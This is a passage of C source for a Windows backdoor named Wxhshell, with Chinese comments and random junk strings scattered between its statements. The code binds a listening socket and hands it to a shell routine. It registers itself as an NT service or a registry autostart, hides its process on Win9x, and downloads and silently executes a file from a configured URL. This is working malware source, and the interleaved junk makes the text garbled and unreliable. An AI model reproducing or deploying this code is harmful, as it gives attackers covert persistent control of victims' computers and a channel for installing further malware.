(PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oI=fx Sjd ukIQr/k CloseHandle(hProcess); @aAW*D~-J |%J {RA hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -7*ET3NSI/ if(hProcess==NULL) return 0; v/](yT [Yo,*,y31 HMODULE hMod; brW :C?} char procName[255]; 3?c3<`TW unsigned long cbNeeded; 5k`l$mW{ %6t2ohO" if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \P j !zkZQ2{Wn CloseHandle(hProcess); u -;_y='m eIz<)-7: if(strstr(procName,"services")) return 1; // 以服务启动 :ctu5{"UJ _oHNkKQ return 0; // 注册表启动 [#l*_0 } MXw hxk#E b6Wqr/ // 主模块 byLft1 int StartWxhshell(LPSTR lpCmdLine) b:Wm8pp? { xCg52zkH# SOCKET wsl; ox(j^x]NC BOOL val=TRUE; jE}33" int port=0; &^#VN%{ struct sockaddr_in door; H7d/X +wEac
g>>E if(wscfg.ws_autoins) Install(); *]AdUEV? - db_E# port=atoi(lpCmdLine); P+s!|7' nSW=LjrO~< if(port<=0) port=wscfg.ws_port; eCqHvMp XiL~TCkx4 WSADATA data; |2RC# ]/-Y if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,eTUhK I(V!Mv8j if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; t; 4]cg:_ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?)kG A$m# door.sin_family = AF_INET; i(AT8Bo2 door.sin_addr.s_addr = inet_addr("127.0.0.1"); _J Hd9)[ door.sin_port = htons(port); VtnRgdJ `+o2DA)#( if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )Qe~8u@? closesocket(wsl); ;nodjbr,j return 1; tKuVQH~D } yKa{08X: 4Uphfzv3D if(listen(wsl,2) == INVALID_SOCKET) { o=50>$5jlS closesocket(wsl); 7s/u(~d) return 1; l8I /0`_ } swK-/$# Wxhshell(wsl); F({HP)9b WSACleanup(); Fh`~`eog /W>iJfx return 0; $oj:e?8N PmKeF} } %>~sJ0 4kBaB // 以NT服务方式启动 2 lj'"nm VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MRb-H1+Xf { OR%'K2C6S DWORD status = 0; U%<koD[, DWORD specificError = 0xfffffff; d/[;
`ZD+ @6wFst\t serviceStatus.dwServiceType = SERVICE_WIN32; yzerOL serviceStatus.dwCurrentState = SERVICE_START_PENDING; *M:B\D serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n/Sw P serviceStatus.dwWin32ExitCode = 0; F
P* lQRA serviceStatus.dwServiceSpecificExitCode = 0; hWD;jR serviceStatus.dwCheckPoint = 0; IFF92VD& serviceStatus.dwWaitHint = 0; 6^eV"&+@ 77\]B hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8,C*4y~ if (hServiceStatusHandle==0) return; y~q8pH1
T)H{ status = GetLastError(); H5Z$*4%G if (status!=NO_ERROR) q35f&O; { 7]blrN] serviceStatus.dwCurrentState = SERVICE_STOPPED; 4)A#2 serviceStatus.dwCheckPoint = 0; ,Wk?I%> serviceStatus.dwWaitHint = 0; ]j`c]2EuP serviceStatus.dwWin32ExitCode = status; ~:Ll&29i serviceStatus.dwServiceSpecificExitCode = specificError; SKkUU^\#R` SetServiceStatus(hServiceStatusHandle, &serviceStatus); -_1>C\h" return; sg$rzT-S4 } Tk5W'p|6f _F$aUtb%O serviceStatus.dwCurrentState = SERVICE_RUNNING; VU&7P/\f% serviceStatus.dwCheckPoint = 0; U<DZ:ds?T serviceStatus.dwWaitHint = 0; mj9 <%P if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +VO-oFE | } 9%B\/&f (NF~Ck$#q // 处理NT服务事件,比如:启动、停止 _3TY,l~ VOID WINAPI NTServiceHandler(DWORD fdwControl) )N7Y^CN~ { 4\Tl\SZ? switch(fdwControl) P} 0%-JC { v":x4!kdX case SERVICE_CONTROL_STOP: b:tob0TB serviceStatus.dwWin32ExitCode = 0; Zc
W:6po> serviceStatus.dwCurrentState = SERVICE_STOPPED; j2QmxTa! serviceStatus.dwCheckPoint = 0; /SrCElabP serviceStatus.dwWaitHint = 0; 45,1-? -! { >`A9[`$n SetServiceStatus(hServiceStatusHandle, &serviceStatus); mF,Y?ax } zi]\<?\X return; &Low/Y'.jJ case SERVICE_CONTROL_PAUSE: s'%R serviceStatus.dwCurrentState = SERVICE_PAUSED;
TU:7Df break; FVaQEMZ^ case SERVICE_CONTROL_CONTINUE: P:k>aHnW serviceStatus.dwCurrentState = SERVICE_RUNNING; ?zw|kl break; X voo= case SERVICE_CONTROL_INTERROGATE: vgfcCcZ_iZ break; D-5VC9{ }; 0w&27wW SetServiceStatus(hServiceStatusHandle, &serviceStatus); ki?S~'a } d$ x"/A]< gm igsXQ // 标准应用程序主函数 Z
-W(l< int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >[*8I\*@n { {L/ tst#C Y@N,qHtz // 获取操作系统版本 SqEgn}m$ OsIsNt=GetOsVer(); -jb0o/: GetModuleFileName(NULL,ExeFile,MAX_PATH); i}.&0Fp lT&eJO~?5 // 从命令行安装 uRZ ZxZ if(strpbrk(lpCmdLine,"iI")) Install(); _kU:Z o<COm9)i // 下载执行文件 0K`#>}W#X if(wscfg.ws_downexe) { y5?RVlKJ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ji>o! WinExec(wscfg.ws_filenam,SW_HIDE); n%-R[vW } `(_s|-$ KH(%? if(!OsIsNt) { gMWjk7 // 如果时win9x,隐藏进程并且设置为注册表启动 <}<zgOT[1! HideProc(); =cm~vDl[ StartWxhshell(lpCmdLine); ST:A<Da" } IC1NKn<k else @~!wDDS if(StartFromService()) 8FKXSqhVM // 以服务方式启动 zgNc4B StartServiceCtrlDispatcher(DispatchTable); zNxW'?0Z? else c:<005\Bg // 普通方式启动 WST8SEzJ StartWxhshell(lpCmdLine); Jk7|{W\OA {`LU+ return 0; Sjvdirr }
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